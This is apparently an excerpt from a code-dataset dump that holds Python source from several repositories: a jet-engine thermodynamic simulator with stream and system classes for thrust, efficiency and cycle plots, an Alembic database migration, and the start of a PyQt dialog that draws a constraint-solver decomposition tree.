'propfan']\n else c.w for c in wem])\n etas = np.array([c.shaft.eta for c in wem])\n w_r_m = np.sum(work/etas) # Power required by work exerting components\n\n electrical = self.electrical_plants() # FIXME: ugly\n w_r_e = sum([c.w_r for c in electrical]) # Power required by all electrical plants\n\n return w_r_m + w_r_e\n\n\nclass stream(SET):\n \"\"\"\n Stream\n ------\n \"\"\"\n def __init__(self,\n gas=None,\n parents=None,\n fr=None):\n \"\"\"\n :param fr: Fraction of the gas instance passed\n to the stream which physically enters\n the stream.\n This is useful so the original gas\n instance can be passed to child streams\n in a stream diversion process.\n In this way, the gas attribute of the\n child streams points to the original\n stream's gas instance until the moment\n the child streams are run: at this\n time, a deep copy of the original gas\n instance is created, and the mass flow\n multiplied by _fr_ to reflect the mass\n flow actually flowing in the child stream.\n :param parents: Parent streams.\n - If parents includes 2 or more streams,\n they will be merged at runtime.\n\n :type gas: gas\n :type fr: float\n :type parents: list of stream\n \"\"\"\n self.stream_id = [0]\n self.components = []\n self.downstream = [self]\n\n self.ran = False\n\n if not isinstance(gas, type(None)):\n self.gas = gas\n if not isinstance(parents, type(None)):\n self.parents = parents\n\n # Runtime dictionary\n self.runtime_d = {}\n if not isinstance(fr, type(None)):\n self.runtime_d['fr'] = fr\n\n \"\"\"\n Operators\n \"\"\"\n def __call__(self, gas):\n self.gas = gas\n return self\n\n def __mul__(self, other): # TODO: stream diversion\n \"\"\"\n Stream diversion operator: * n for n: 0 =< float =< 1\n \"\"\"\n return self.divert(other)\n\n def __getitem__(self, item):\n \"\"\"\n Component retrieval operator: []\n \"\"\"\n return self.retrieve(item)\n\n \"\"\"\n Operator functions\n \"\"\"\n def add_component(self, c):\n \"\"\"\n Component addition\n \"\"\"\n self.components.append(c)\n c.downstream = self.downstream\n c.stream = c.set = self\n\n def add_set(self, s):\n \"\"\"\n Stream addition\n \"\"\"\n assert hasattr(self, 'gas') and hasattr(s, 'gas'), 'Both streams must have a gas attribute for' \\\n 'the stream merge operation to be possible.'\n\n n = max(self.stream_id[0], s.stream_id[0]) # Get largest stream_id\n self.stream_id[0] = s.stream_id[0] = n # Set largest stream_id for both merging streams\n\n merged = stream(parents=[self, s])\n merged.stream_id[0] = n + 1\n\n if hasattr(self, 'system') and hasattr(s, 'system'):\n self.superset = self.system = s.system = merged.system = self.system + s.system\n self.system(merged)\n elif hasattr(self, 'system'):\n self.system(s, merged)\n elif hasattr(s, 'system'):\n s.system(self, merged)\n else:\n system(self, s, merged)\n\n return merged\n\n def divert(self, fr, names=None):\n \"\"\"\n Stream diversion\n \"\"\"\n\n assert hasattr(self, 'gas'), 'The stream must have a gas attribute for' \\\n 'the stream diversion operation to be possible.'\n\n main = stream(self.gas, fr=fr, parents=[self])\n div = stream(self.gas, fr=1-fr, parents=[self])\n\n # Stream ID\n main.stream_id[0] = self.stream_id[0] + 1\n div.stream_id[0] = self.stream_id[0] + 1\n\n # Diverted stream IDs\n if not isinstance(names, type(None)):\n main.stream_id.append(names[0])\n div.stream_id.append(names[1])\n else:\n mf_matrix = np.array([[main.gas.mf * fr, main],\n [div.gas.mf * (1-fr), div]])\n mf_matrix = mf_matrix[mf_matrix[:, 0].argsort()]\n\n for i in range(mf_matrix[:, 1].size):\n sub_id = 'm' if i == 0 else f's{i}' if i > 1 else 's'\n mf_matrix[i, 1].stream_id.append(sub_id)\n\n if hasattr(self, 'system'):\n self.system(main, div)\n main.system = div.system = self.system\n else:\n system(self, main, div)\n\n return main, div\n\n def retrieve(self, item):\n \"\"\"\n Retrieve any stream component by its stage name.\n\n :type item: str\n \"\"\"\n assert item in self.stages(), 'Specified a non-existent stage.'\n\n for c in self.components:\n if c.stage == item:\n return c\n\n \"\"\"\n Utilities\n \"\"\"\n def stages(self):\n \"\"\"\n Return a list containing the stage name of each\n component in the stream.\n \"\"\"\n return [c.stage for c in self.components]\n\n def stage_name(self, c):\n \"\"\"\n Return the stage name of a component in the stream,\n composed of the stream identification number, a code\n representing its parent class, and a numerical index\n if there are more than 1 components of the same class\n in the stream.\n \"\"\"\n codes = {'fan': 'fn',\n 'prop': 'pr',\n 'propfan': 'pf',\n 'intake': 'it',\n 'inlet': 'il',\n 'compressor': 'cp',\n 'combustion_chamber': 'cc',\n 'turbine': 'tb',\n 'nozzle': 'nz',\n\n 'intercooler': 'ic',\n 'recuperator': 'rc',\n 'afterburner': 'ab',\n }\n\n code = codes[c.__class__.__name__] + self.n_instances(c)\n\n return f'{\".\".join([str(c) for c in self.stream_id])}.{code}'\n\n def n_instances(self, comp):\n \"\"\"\n Calculate the number of instances of a given component's\n parent class in the stream (n), and its index in the\n stream's components list (i).\n\n The index of the component is returned as follows:\n - If the given component is the only instance of its parent\n class in the stream (n = 1):\n - '' (empty string)\n - If the given component is one of more instances of its\n parent class in the stream (n > 1):\n - str(i + 1) (numeral starting at 1)\n\n :type comp: component\n \"\"\"\n\n i = 0 # Component index\n n = 0 # Number of instances of the input component's class in the stream\n for c in self.components:\n if comp is c:\n i = n\n if comp.__class__.__name__ == c.__class__.__name__:\n n += 1\n\n return '' if n == 1 else str(i + 1)\n\n def log(self):\n\n d = 9\n\n for c in self.components:\n section_name = join_set_distance(c.stage, c.__class__.__name__.capitalize().replace(\"_\", \" \"), d)\n print_color(section_name, 'green')\n\n if c.__class__.__name__ == 'nozzle':\n if c.choked:\n print_color(' '*d + 'Choked flow', 'red')\n print_result(' '*(d+1) + 'T0', c.t0, '[K]')\n print_result(' '*(d+1) + 'p0', c.p0, '[Pa]')\n\n \"\"\"\n Stream runtime functions\n \"\"\"\n def run(self, log=True):\n \"\"\"\n Execute the transfer functions of all components in the stream\n on the instance's gas class instance.\n \"\"\"\n\n self.runtime()\n\n assert hasattr(self, 'gas'), 'stream does not have a gas attribute.'\n\n self.choked = False # FIXME: choked flow implementation is ugly\n\n for c in self.components:\n c(self.gas) # Run thermodynamic process on stream gas\n c.stage = self.stage_name(c) # Set component stage name\n\n if hasattr(c, 'choked') and c.choked: # FIXME: ugly\n self.choked = c.choked\n\n # Indicate stream has been run.\n self.ran = True\n\n if log:\n self.log()\n\n def runtime(self):\n if hasattr(self, 'parents') and len(self.parents) > 1:\n self.merge()\n\n for k, v in self.runtime_d.items():\n f = getattr(self, k)\n f(v)\n\n def merge(self):\n if hasattr(self, 'gas'):\n for s in self.parents:\n self.gas += s.gas\n else:\n self.gas = self.parents[0].gas\n for s in self.parents[1:]:\n self.gas += s.gas\n\n def fr(self, fr):\n self.gas, _ = fr * deepcopy(self.gas)\n\n \"\"\"\n Stream fluid state\n \"\"\"\n def t0(self):\n \"\"\"\n Total temperature vector.\n \"\"\"\n assert self.ran, 'The stream must be run to obtain the total temperature at each stage'\n\n return np.array([c.t0 for c in self.components])\n\n def p0(self):\n \"\"\"\n Total pressure vector.\n \"\"\"\n assert self.ran, 'The stream must be run to obtain the total pressure at each stage'\n\n return np.array([c.p0 for c in self.components])\n\n def V(self):\n \"\"\"\n Specific volume vector.\n \"\"\"\n assert self.ran, 'The stream must be run to obtain the specific volume at each stage'\n\n return np.array([c.V for c in self.components])\n\n def S(self):\n \"\"\"\n Specific entropy vector.\n \"\"\"\n assert self.ran, 'The stream must be run to obtain the specific entropy at each stage'\n\n return np.array([c.S for c in self.components])\n\n def H(self):\n \"\"\"\n Specific enthalpy vector.\n \"\"\"\n assert self.ran, 'The stream must be run to obtain the specific entropy at each stage'\n\n return np.array([c.H for c in self.components])\n\n \"\"\"\n Stream outlet flow characteristics\n \"\"\"\n def v_exit(self):\n \"\"\"\n Flow exit velocity\n\n Assumptions:\n - If the flow is not choked:\n The thermal energy lost by the gas as it leaves the nozzle\n is transformed into kinetic energy without losses.\n - If the flow is choked:\n The exit velocity is the velocity of sound before the nozzle\n exit.\n \"\"\"\n # Absolute temperature before the stream exit (likely but not necessarily a nozzle)\n if len(self.components) > 1:\n # If the stream has more components than 1, the absolute temperature\n # after the component previous to the last one is taken.\n if self.components[-1].__class__.__name__ == 'nozzle':\n t_before_exit = self.components[-2].t0\n else:\n t_before_exit = self.components[-1].t0\n else:\n if hasattr(self, 'parents'):\n # If the stream has a single component and a parent stream or streams\n if len(self.parents) > 1:\n # If the stream has more than a single parent stream, the gases\n # of each parent are copied, merged and the absolute temperature\n # of the resulting gas mixture is taken.\n for i in range(len(self.parents)):\n if i == 0:\n g = deepcopy(self.parents[i].gas)\n else:\n g += deepcopy(self.parents[i].gas)\n t_before_exit = g.t0\n else:\n # If the stream has a single parent, the absolute temperature\n # of the parent's gas is taken.\n t_before_exit = self.parents[0].gas.t0\n else:\n # Is the stream has a single component and no parent streams,\n # it is assumed that the setup consists of a intake-nozzle\n # setup, and the absolute temperature of the moving gas is\n # taken.\n t_before_exit = deepcopy(self.gas).absolute().t01\n\n if self.choked:\n return (self.gas.k(t_before_exit)*R*t_before_exit)**0.5 # M=1 immediately before nozzle exit\n else:\n assert t_before_exit - self.gas.t0 > 0, 'The total temperature of the flow is lower before ' \\\n 'the nozzle tha outside the engine: this happens due to the ' \\\n 'compressors not providing enough energy to the flow. You must ' \\\n 'either increase the pressure ratio of the compressors or ' \\\n 'decrease the power extracted from the flow to solve the ' \\\n 'inconsistency.'\n return (2*self.gas.cp(t_before_exit)*(t_before_exit - self.gas.t0))**0.5 # Heat -> Kinetic energy\n\n def A_exit(self):\n \"\"\"\n Nozzle exit area\n \"\"\"\n return self.gas.mf*R*self.gas.t0/(self.gas.p0*self.v_exit())\n\n \"\"\"\n Fuel consumption\n \"\"\"\n def fmf(self):\n \"\"\"\n Stream fuel mass flow\n \"\"\"\n fmf = 0\n for c in self.components:\n if hasattr(c, 'fuel') and hasattr(c.fuel, 'mf'):\n fmf += c.fuel.mf\n return fmf\n\n \"\"\"\n Thrust and specific fuel consumption\n \"\"\"\n def thrust_flow(self):\n \"\"\"\n Flow thrust\n\n If the flow is choked, the expansion of the gas contributes to the thrust of the flow.\n \"\"\"\n if self.choked:\n return self.gas.mf * (self.v_exit() - self.gas.v_0) + self.A_exit() * (\n self.gas.p0 - self.gas.p_0)\n else:\n return self.gas.mf * (self.v_exit() - self.gas.v_0)\n\n def thrust_prop(self):\n \"\"\"\n Propeller/propfan thrust\n \"\"\"\n if any([c.__class__.__name__ in ['prop', 'propfan'] for c in self.components]):\n propellers = [c for c in self.components if c.__class__.__name__ in ['prop', 'propfan']]\n thrust_prop = sum([prop.thrust(self.gas.v_0) for prop in propellers])\n else:\n thrust_prop = 0\n return thrust_prop\n\n def thrust_total(self):\n \"\"\"\n Flow thrust plus propeller/propfan thrust\n \"\"\"\n return self.thrust_flow() + self.thrust_prop()\n\n def sfc(self):\n \"\"\"\n Specific fuel consumption\n \"\"\"\n if hasattr(self, 'system'):\n return self._fmf()/self._thrust_flow()\n else:\n return self.fmf()/self.thrust_flow()\n\n \"\"\"\n Heat and work\n \"\"\"\n def Q_in(self): #TODO: verify efficiency calculations\n \"\"\"\n Heat provided to the flow.\n \"\"\"\n q_provided = 0\n for c in self.components:\n if c.__class__.__name__ == 'combustion_chamber':\n q_provided += c.Q\n return q_provided\n\n def W_req(self):\n \"\"\"\n Work required from the flow.\n \"\"\"\n w_required = 0\n for c in self.components:\n if c.__class__.__name__ in ['fan',\n 'prop',\n 'propfan',\n 'compressor']:\n w_required += c.w\n return w_required\n\n \"\"\"\n Power\n \"\"\"\n def power_jet(self):\n \"\"\"\n Stream jet power.\n \"\"\"\n return 1/2*(self.gas.mf*self.v_exit()**2 - (self.gas.mf - self.fmf())*self.gas.v_0**2)\n\n def power_available(self):\n \"\"\"\n Stream available power.\n \"\"\"\n if hasattr(self, 'system'):\n return self._efficiency_prop()*self._power_jet()\n else:\n return self.efficiency_prop()*self.power_jet()\n\n \"\"\"\n Efficiencies\n \"\"\"\n def efficiency_thermal(self):\n \"\"\"\n Stream thermal efficiency\n \"\"\"\n if hasattr(self, 'system'):\n return self._power_jet()/self._Q_in()\n else:\n return self.power_jet()/self.Q_in()\n\n def efficiency_prop(self):\n \"\"\"\n Stream propulsive efficiency.\n \"\"\"\n return 2/(1+self.v_exit()/self.gas.v_0) if self.gas.v_0 > 0 else 0\n\n def efficiency_total(self):\n if hasattr(self, 'system'):\n return self._power_available()/self._Q_in()\n else:\n return self.power_available()/self.Q_in()\n\n \"\"\"\n Plots\n \"\"\"\n def plot_T_S(self,\n show=False,\n plot_label=None,\n color=colorscheme_one()[0],\n **kwargs):\n \"\"\"\n Temperature-Entropy stream plot.\n \"\"\"\n\n figure((9, 5))\n\n defaults = {'x_label': '$\\Delta$S [kJ/K/n]',\n 'y_label': 'T$_0$ [K]',}\n\n further_custom = {**defaults, **kwargs}\n\n self.plot_cycle_graph(self.S()/1000, self.t0(),\n color=color,\n plot_label=plot_label,\n show=show,\n # Further customization\n y_tick_ndecimals=2,\n **further_custom)\n\n def plot_p_V(self,\n show=False,\n plot_label=None,\n color=colorscheme_one()[0],\n **kwargs):\n \"\"\"\n Pressure-Volume stream plot.\n \"\"\"\n\n figure((9, 5))\n\n defaults = {'x_label': 'v$_0$ [m$^3$/n]',\n 'y_label': 'p$_0$ [kPa]'}\n\n further_custom = {**defaults, **kwargs}\n\n self.plot_cycle_graph(self.V(), self.p0()/1000,\n color=color,\n plot_label=plot_label,\n show=show,\n # Further customization\n y_tick_ndecimals=2,\n **further_custom)\n\n def plot_H_p(self,\n show=False,\n plot_label=None,\n color=colorscheme_one()[0],\n **kwargs):\n \"\"\"\n Pressure-Enthalpy stream plot.\n \"\"\"\n\n figure((9, 5))\n\n defaults = {'x_label': 'p$_0$ [kPa]',\n 'y_label': 'H$_0$ [kJ]',}\n\n further_custom = {**defaults, **kwargs}\n\n self.plot_cycle_graph(self.p0()/1000, self.H()/1000,\n color=color,\n plot_label=plot_label,\n show=show,\n # Further customization\n y_tick_ndecimals=2,\n **further_custom)\n\n def plot_T_p(self,\n show=False,\n plot_label=None,\n color=colorscheme_one()[0],\n **kwargs):\n \"\"\"\n Temperature-Pressure system plot.\n \"\"\"\n\n figure((9, 5))\n\n defaults = {'x_label': 'p$_0$ [kPa]',\n 'y_label': 'T$_0$ [K]'}\n\n further_custom = {**defaults, **kwargs}\n\n self.plot_cycle_graph(self.p0()/1000, self.t0(),\n color=color,\n plot_label=plot_label,\n show=show,\n # Further customization\n x_tick_ndecimals=2,\n **further_custom)\n\n def plot_cycle_graph(self,\n x, y,\n plot_label,\n x_label, y_label,\n color=colorscheme_one()[0],\n show=False,\n **kwargs\n ):\n \"\"\"\n General plot composed of an MPL Plotter line and scatter plot.\n\n The default arguments plus any valid MPL Plotter line plotting\n class arguments can be passed to this function.\n \"\"\"\n fig = kwargs.pop('fig', None)\n\n defaults = {\n # Specifics\n 'point_size': 30,\n # Markers\n 'marker': 'x',\n # Color\n 'color': delta(color, -0.3),\n # Arrangement\n 'zorder': 2,\n # Further customization\n 'aspect': 1/2,\n 'x_tick_number': 10,\n 'y_tick_number': 10,\n 'demo_pad_plot': True,\n 'y_label_pad': 5,\n }\n\n further_custom = {**defaults, **kwargs}\n\n # Connecting lines\n line( x=x, y=y,\n # Figure\n fig=fig,\n # Specifics\n line_width=1,\n # Color\n color=color, alpha=0.65,\n # Arrangement\n zorder=1,\n )\n # Stages\n scatter(x=x, y=y,\n # Figure\n fig=fig,\n # Further customization\n plot_label=plot_label,\n x_label=x_label,\n y_label=y_label,\n show=show,\n **further_custom)\n\n\nclass system(SUPERSET):\n \"\"\"\n System\n ------\n \"\"\"\n def __init__(self, *args):\n \"\"\"\n Create a system from two objects.\n\n :type args: stream\n \"\"\"\n self.streams = []\n self.gobble(list(args))\n\n \"\"\"\n Operators\n \"\"\"\n def __add__(self, other):\n \"\"\"\n System addition operator: + \n\n :type other: system\n \"\"\"\n streams = list(set(self.streams) & set(other.streams))\n return system(*streams)\n\n def __getitem__(self, item):\n \"\"\"\n Component retrieval operator: []\n \"\"\"\n return self.retrieve(item)\n\n \"\"\"\n Operator functions\n \"\"\"\n def gobble(self, streams):\n \"\"\"\n :type streams: list of stream\n \"\"\"\n for s in streams:\n self.streams.append(s)\n s.superset = s.system = self\n s.superset_takeover()\n\n def retrieve(self, item):\n \"\"\"\n Retrieve any stream component by its stage name.\n\n :type item: str\n \"\"\"\n components = []\n for s in self.streams:\n components += s.components\n\n assert item in [c.stage for c in components], 'Specified a non-existent stage.'\n\n for c in components:\n if c.stage == item:\n return c\n\n \"\"\"\n System functions\n \"\"\"\n def run(self, log=True):\n \"\"\"\n Run stream system.\n \"\"\"\n\n self.sort_streams()\n\n n = 0\n while not all([s.ran for s in self.streams]):\n for s in self.streams:\n if s.stream_id[0] == n:\n s._run(log)\n n += 1\n\n def sort_streams(self):\n \"\"\"\n Sort system streams based on their stream ID\n \"\"\"\n ids = [''.join(str(c) for c in stream.stream_id) for stream in self.streams]\n indexes = [float(id.replace('m', '.1').replace('s', '.2')) for id in ids]\n self.streams = [s for _, s in sorted(zip(indexes, self.streams))]\n\n def parents(self):\n \"\"\"\n Return all system streams with children.\n Useful to not calculate thrust, exit velocity\n and other stream outlet values for streams\n flowing to children streams.\n \"\"\"\n parents = []\n for s in self.streams:\n parents += s.parents if hasattr(s, 'parents') else []\n return parents\n\n \"\"\"\n Fuel consumption\n \"\"\"\n def fmf(self):\n \"\"\"\n System fuel mass flow.\n \"\"\"\n return sum([s._fmf() for s in self.streams])\n\n \"\"\"\n Thrust and specific fuel consumption\n \"\"\"\n def thrust_flow(self):\n \"\"\"\n System flow thrust.\n \"\"\"\n return sum([s._thrust_flow() for s in self.streams if s not in self.parents()])\n\n def thrust_prop(self):\n \"\"\"\n System propeller thrust\n \"\"\"\n return sum([s._thrust_prop() for s in self.streams])\n\n def thrust_total(self):\n \"\"\"\n System total thrust.\n \"\"\"\n return self.thrust_flow() + self.thrust_prop()\n\n def sfc(self):\n \"\"\"\n System specific fuel consumption.\n \"\"\"\n return self.fmf()/self.thrust_flow()\n\n \"\"\"\n Heat and work\n \"\"\"\n def Q_in(self): # TODO: verify efficiency calculations\n \"\"\"\n Heat provided to the flow.\n \"\"\"\n return sum([s._Q_in() for s in self.streams])\n\n def W_req(self):\n \"\"\"\n Work required from the flow.\n \"\"\"\n return sum([s._W_req() for s in self.streams])\n\n \"\"\"\n Power\n \"\"\"\n def power_jet(self):\n \"\"\"\n Stream jet power.\n \"\"\"\n return sum([s._power_jet() for s in self.streams if s not in self.parents()])\n\n def power_available(self):\n \"\"\"\n Stream available power.\n \"\"\"\n return sum([s._power_available() for s in self.streams if s not in self.parents()])\n\n \"\"\"\n Efficiencies\n \"\"\"\n def efficiency_prop(self):\n \"\"\"\n System propulsive efficiency.\n \"\"\"\n return self.power_available()/self.power_jet()\n\n def efficiency_thermal(self):\n \"\"\"\n System thermal efficiency.\n \"\"\"\n return self.power_jet()/self.Q_in()\n\n def efficiency_total(self):\n \"\"\"\n System total efficiency.\n \"\"\"\n return self.power_available()/self.Q_in()\n\n \"\"\"\n Plots\n \"\"\"\n def plot(self,\n x, y,\n x_scale=None, y_scale=None,\n x_label=None, y_label=None,\n show=False,\n plot_label=None, # When called from a _system_takeover the plot_label and color\n color=colorscheme_one()[0], # arguments are passed to the function, but disregarded.\n colorblind=False,\n **kwargs):\n \"\"\"\n System plot\n -----------\n\n x and y are the stream parameters to be\n plotted for each stream.\n\n Process\n 1. Create figure\n 2. Create state variable and plotters vectors\n 2.1 Parent connectors\n 3. comparison call\n\n comparison call\n - fig=None, ax=None -> plot_cycle_graph -> fig in **kwargs keys\n - fig=None, ax=None -> line, scatter\n - line, scatter plot onto active figure, axis\n\n :param x_scale: Scaling factor.\n :param y_scale: Scaling factor.\n\n :type x: str\n :type y: str\n :type x_scale: float\n :type y_scale: float\n \"\"\"\n plotters = []\n x_system = []\n y_system = []\n\n defaults = {'legend': kwargs.pop('legend', True)}\n\n scales = {'t0': 1,\n 'p0': 1/1000,\n 'V': 1,\n 'S': 1/1000,\n 'H': 1/1000}\n x_scale = scales[x] if isinstance(x_scale, type(None)) else x_scale\n y_scale = scales[y] if isinstance(y_scale, type(None)) else y_scale\n\n # 1. Create figure\n figure((9, 5))\n\n # 2. Create state variable and plotters vectors\n for stream in self.streams:\n\n # Plot defaults\n subplot_defaults = {\n 'plot_label': f'{\".\".join([str(c) for c in stream.stream_id])}',\n 'x_label': x_label,\n 'y_label': y_label,\n 'color': colorscheme_one()[self.streams.index(stream)],\n 'zorder': self.streams.index(stream),\n }\n\n if colorblind:\n m = markers(hollow=True)\n marker = m[self.streams.index(stream)]\n subplot_defaults = {**subplot_defaults, **marker}\n\n def gen_plotter(**defaults):\n \"\"\"\n Returns a plotter using the defaults.\n Any keyword arguemnts passed to the\n _plot function overwrite the defaults.\n \"\"\"\n return lambda x, y, **kwargs: stream.plot_cycle_graph(x=x, y=y, **{**defaults, **kwargs})\n\n x_stream = getattr(stream, x)()*x_scale\n y_stream = getattr(stream, y)()*y_scale\n\n plotters.append(gen_plotter(**subplot_defaults))\n x_system.append(x_stream)\n y_system.append(y_stream)\n\n # 2.1 Parent connectors\n if hasattr(stream, 'parents'):\n for parent in stream.parents:\n x_parent = getattr(parent, x)()*x_scale\n y_parent = getattr(parent, y)()*y_scale\n # If the parent stream has no stages, get parent stream's gas state\n p_x = x_parent[-1] if len(x_parent) != 0 else getattr(parent.gas, x)*x_scale\n p_y = y_parent[-1] if len(y_parent) != 0 else getattr(parent.gas, y)*y_scale\n # Connector\n if len(stream.components) > 0:\n x_system.append(np.array([p_x, x_stream[0]]))\n y_system.append(np.array([p_y, y_stream[0]]))\n\n connector_args = {'color': subplot_defaults['color'],\n 'zorder': self.streams.index(stream),\n 'plot_label': None,\n 'x_label': None,\n 'y_label': None,\n 'marker': ''\n }\n\n if colorblind:\n connector_args = {**connector_args}\n\n plotters.append(gen_plotter(**connector_args))\n\n # 2.2 Remove streams with no stages\n mask_x = np.array([a.size != 0 for a in x_system])\n mask_y = np.array([a.size != 0 for a in y_system])\n mask = mask_x * mask_y # Ensure that any x-y array pairs with an empty array are removed\n\n x_system = np.array(x_system, dtype='object')[mask].tolist()\n y_system = np.array(y_system, dtype='object')[mask].tolist()\n plotters = np.array(plotters, dtype='object')[mask].tolist()\n\n # 4. comparison call\n # - fig=None, ax=None -> plot_cycle_graph -> fig in **kwargs keys\n # - fig=None, ax=None -> line, scatter\n # - line, scatter plot onto active figure, axis\n comparison(x=x_system,\n y=y_system,\n f=plotters,\n legend_loc=(0.865, 0.425),\n autocolor=False,\n show=show,\n **{**kwargs, **defaults})\n\n def plot_T_p(self,\n show=False,\n plot_label=None,\n color=colorscheme_one()[0],\n colorblind=False,\n **kwargs\n ):\n \"\"\"\n Temperature-Pressure system plot.\n \"\"\"\n args = locals()\n args.pop('self', None)\n args.pop('kwargs', None)\n\n self.plot(x='p0', x_label='p$_0$ [kPa]',\n y='t0', y_label='T$_0$ [K]',\n **{**args, **kwargs})\n\n def plot_p_V(self,\n show=False,\n plot_label=None,\n color=colorscheme_one()[0],\n colorblind=False,\n **kwargs):\n \"\"\"\n Pressure-Volume system plot.\n \"\"\"\n args = locals()\n args.pop('self', None)\n args.pop('kwargs', None)\n\n self.plot(x='V', x_label='v$_0$ [m$^3$/n]',\n y='p0', y_label='p$_0$ [kPa]',\n **{**args, **kwargs})\n\n def plot_T_S(self,\n show=False,\n plot_label=None,\n color=colorscheme_one()[0],\n colorblind=False,\n **kwargs):\n \"\"\"\n Temperature-Entropy system plot.\n \"\"\"\n args = locals()\n args.pop('self', None)\n args.pop('kwargs', None)\n\n self.plot(x='S', x_label='$\\Delta$S [kJ/K]',\n y='t0', y_label='T$_0$ [K]',\n **{**args, **kwargs})\n\n def plot_H_p(self,\n show=False,\n plot_label=None,\n color=colorscheme_one()[0],\n colorblind=False,\n **kwargs):\n \"\"\"\n Pressure-Enthalpy system plot.\n \"\"\"\n args = locals()\n args.pop('self', None)\n args.pop('kwargs', None)\n\n self.plot(x='p0', x_label='p$_0$ [kPa]',\n y='H', y_label='H$_0$ [kJ]',\n **{**args, **kwargs})\n","repo_name":"alopezrivera/huracan","sub_path":"huracan/engine.py","file_name":"engine.py","file_ext":"py","file_size_in_byte":39164,"program_lang":"python","lang":"en","doc_type":"code","stars":32,"dataset":"github-code","pt":"78"}
+{"seq_id":"41196878676","text":"\"\"\"empty message\n\nRevision ID: adbc63b60047\nRevises: f0be44d66ecb\nCreate Date: 2020-06-30 21:05:23.774179\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = 'adbc63b60047'\ndown_revision = 'f0be44d66ecb'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.create_table('title_mapping',\n sa.Column('smule_title', sa.String(length=100), nullable=False),\n sa.Column('mapped_title', sa.String(length=100), nullable=False),\n sa.Column('created_at', sa.DateTime(), server_default=sa.text('now()'), nullable=True),\n sa.Column('updated_at', sa.DateTime(), server_default=sa.text('now()'), nullable=True),\n sa.PrimaryKeyConstraint('smule_title')\n )\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_table('title_mapping')\n # ### end Alembic commands ###\n","repo_name":"KaushalSheth/smule-analytics","sub_path":"migrations/versions/adbc63b60047_.py","file_name":"adbc63b60047_.py","file_ext":"py","file_size_in_byte":979,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"78"}
+{"seq_id":"29562112124","text":"from includes import *\nfrom ui_compositionView import Ui_compositionView\nfrom tree import Tree\nfrom cvitems import CVCluster, CVPoint, CVInfoOverlay, CVConnection\nfrom parameters import Settings\n\nclass CompositionView(QtGui.QDialog):\n \"\"\" A view where the decomposition of the system of constraints is visualised as a tree \"\"\"\n def __init__(self, viewport, viewportMngr, vpType, prototypeMngr, parent=None):\n \"\"\" Initialization of the CompositionView class\n \n Parameters:\n viewportMngr - the manager of the viewports where the composition view can reside in\n prototypeMngr - the manager of the prototypes is used to obtain the results of the solver\n \"\"\"\n QtGui.QDialog.__init__(self, parent)\n self.prototypeManager = prototypeMngr\n self.viewport = viewport\n self.viewportManager = viewportMngr\n self.settings = Settings()\n self.setWindowFlags(QtCore.Qt.Window)\n self.timer = QtCore.QObject()\n #QtCore.qsrand(QtCore.QTime(0,0,0).secsTo(QtCore.QTime.currentTime()))\n \n self.tree = Tree(None)\n self.infoOverlay = CVInfoOverlay(self)\n self.connections = []\n self.ui = Ui_compositionView()\n self.ui.setupUi(self)\n self.ui.graphicsView.setupViewport(QtOpenGL.QGLWidget(QtOpenGL.QGLFormat(QtOpenGL.QGL.SampleBuffers|QtOpenGL.QGL.DoubleBuffer)))\n #self.ui.graphicsView.setViewport(QtGui.QWidget())\n self.ui.graphicsView.setRenderHints(QtGui.QPainter.Antialiasing | QtGui.QPainter.SmoothPixmapTransform)\n \n self.collapsed = False\n self.currentTool = None\n self.viewportType = vpType\n self.first = False\n self.nodeId = 0\n\n self.overConstrainedColor = QtGui.QColor(0,0,255)\n self.underConstrainedColor = QtGui.QColor(255,0,0)\n self.wellConstrainedColor = QtGui.QColor(0,255,0)\n self.unsolvedColor = QtGui.QColor(125,124,255)\n \n self.setScene()\n self.createTriggers()\n \n def createTriggers(self):\n \"\"\" Create the triggers for the components in the graphical window \"\"\" \n QtCore.QObject.connect(self.ui.zoomInButton,QtCore.SIGNAL(\"clicked()\"),self.zoomIn)\n QtCore.QObject.connect(self.ui.zoomOutButton,QtCore.SIGNAL(\"clicked()\"),self.zoomOut)\n QtCore.QObject.connect(self.ui.fitButton, QtCore.SIGNAL(\"clicked()\"), self.fit)\n QtCore.QObject.connect(self.ui.collapseButton, QtCore.SIGNAL(\"clicked()\"), self.collapse)\n QtCore.QObject.connect(self.ui.graphicsScene, QtCore.SIGNAL(\"changed(const QList & )\"), self.updateSceneRect)\n QtCore.QObject.connect(self.ui.verticalSlider,QtCore.SIGNAL(\"valueChanged(int)\"),self.setupMatrix)\n QtCore.QObject.connect(self.settings.dvData,QtCore.SIGNAL(\"treeOrientationChanged()\"), self.updateTreeOrientation)\n \n def setScene(self):\n \"\"\" The scene where the tree is visualised in, will be created and set \"\"\"\n self.initView()\n \n def getViewportType(self):\n return self.viewportType\n \n def updateGL(self):\n self.update()\n \n def createDecomposition(self):\n \"\"\" Create a new decomposition. If an older one exists it will be removed. \"\"\" \n if self.ui.graphicsScene != None:\n for item in self.ui.graphicsView.items():\n item.hide()\n if item.parentItem() == None:\n self.ui.graphicsScene.removeItem(item)\n if self.tree.root != None:\n self.tree.clear(self.tree.root)\n del self.connections[:]\n del self.settings.dvData.fixedClusterIds[:]\n self.initView()\n \n def initView(self):\n \"\"\" Updating the view with new data and nodes for the visualisation of the tree \"\"\"\n if self.prototypeManager.result != None:\n self.nodeId = 0\n self.tree.root = self.populateTree(self.prototypeManager.result.subs, None, self.prototypeManager.result)\n self.drawTree(self.ui.graphicsScene, self.tree.root, self.tree.root.children)\n self.drawConnections(self.ui.graphicsScene)\n self.determineCollapse(self.tree.root)\n self.showConnections()\n self.tree.root.showChildren()\n self.updateTree()\n self.addInfoOverlay()\n self.initFixStates()\n \n def updateViewports(self):\n self.viewportManager.updateViewports()\n \n def updateTree(self):\n \"\"\" Update the tree, where the node positions and connections between the nodes are updated \"\"\"\n self.tree.clear(self.tree.root)\n self.tree.updateTree()\n self.updateNodePositions(self.tree.root) \n self.showConnections()\n \n def populateTree(self, nodes, rootNode, currentNode, id=0):\n \"\"\" Recursive function to populate a tree, from the results of the solver to finally display it in the Decomposition View. \n The population is depth first.\n \n Parameters:\n nodes - the childnodes\n rootNode - root node of the (partial) tree\n currentNode - the current node of the result obtained from the constraints solver\n \"\"\" \n if len(currentNode.variables) == 1:\n 